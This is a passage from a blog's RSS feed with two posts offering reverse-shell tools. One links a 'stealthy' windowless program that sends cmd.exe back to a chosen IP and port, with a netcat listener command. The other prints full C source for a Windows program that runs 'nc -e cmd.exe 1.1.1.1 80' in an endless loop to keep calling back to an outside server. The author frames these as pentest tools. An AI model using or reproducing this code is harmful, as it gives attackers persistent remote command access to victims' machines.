<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/101/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=101&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2010/11/14/configure-callback-laptop-checklist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
		<item>
		<title>Static Callback (reverse cmd.exe)</title>
		<link>http://twrightson.wordpress.com/2010/06/26/static-callback-reverse-cmd-exe/</link>
		<comments>http://twrightson.wordpress.com/2010/06/26/static-callback-reverse-cmd-exe/#comments</comments>
		<pubDate>Sat, 26 Jun 2010 01:31:06 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=91</guid>
		<description><![CDATA[As promised below is a link to the netcat like callback program.  It&#8217;s sole purpose is to send back cmd.exe to the IP and port of your choosing.  Default is 10.0.0.1 on port 1025.  These can be redefined in main.c.  There is no window on the client so it is relatively stealthy.  Just start your [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=91&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>As promised below is a link to the netcat like callback program.  It&#8217;s sole purpose is to send back cmd.exe to the IP and port of your choosing.  Default is 10.0.0.1 on port 1025.  These can be redefined in main.c.  There is no window on the client so it is relatively stealthy.  Just start your listener with something like &#8216;nc -l -v -p 1025&#8242;.  I&#8217;ve already used this successfully in a pentest.</p>
<p><a href='http://leetsys.com/programs/static_callback/static_callback.tar.gz'>Source Code and Binary</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=91&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2010/06/26/static-callback-reverse-cmd-exe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
		<item>
		<title>Netcat Callback Every X Seconds</title>
		<link>http://twrightson.wordpress.com/2009/09/26/netcat-callback-every-x-seconds/</link>
		<comments>http://twrightson.wordpress.com/2009/09/26/netcat-callback-every-x-seconds/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 15:50:51 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=82</guid>
		<description><![CDATA[Threw this together real quick.  Basically just calls the netcat command every 10 seconds to callback to our server and open a shell.  It&#8217;s use is limited since it doesn&#8217;t hide the cmd window that it generates.  However I can see a few cases where this would be acceptable and it&#8217;s a good POC if [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=82&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Threw this together real quick.  Basically just calls the netcat command every 10 seconds to callback to our server and open a shell.  It&#8217;s use is limited since it doesn&#8217;t hide the cmd window that it generates.  However I can see a few cases where this would be acceptable and it&#8217;s a good POC if nothing else, not to mention the fact that it &#8216;just works&#8217; and there&#8217;s only about 3 lines of actual code.  I plan on re writing this and including the netcat code inline to avoid the window.</p>
<blockquote><p>/*<br />
Call Netcat every X seconds<br />
*/<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;time.h&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;winsock.h&gt;<br />
#define WIN32_LEAN_AND_MEAN</p>
<p>int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,<br />
LPSTR lpCmdLine, int nCmdShow )<br />
{</p>
<p>while ( 1 == 1)<br />
{<br />
STARTUPINFO si;<br />
PROCESS_INFORMATION pi;</p>
<p>ZeroMemory( &amp;si, sizeof(si) );<br />
si.cb = sizeof(si);<br />
ZeroMemory( &amp;pi, sizeof(pi) );</p>
<p>while ( 1 == 1)<br />
{<br />
CreateProcess( NULL, &#8220;nc -e cmd.exe 1.1.1.1 80&#8243;, NULL, NULL, 0, 0, NULL, NULL, &amp;si, &amp;pi);<br />
Sleep(100000);<br />
}</p>
<p>}<br />
}</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/82/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=82&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2009/09/26/netcat-callback-every-x-seconds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
	</channel>
</rss>
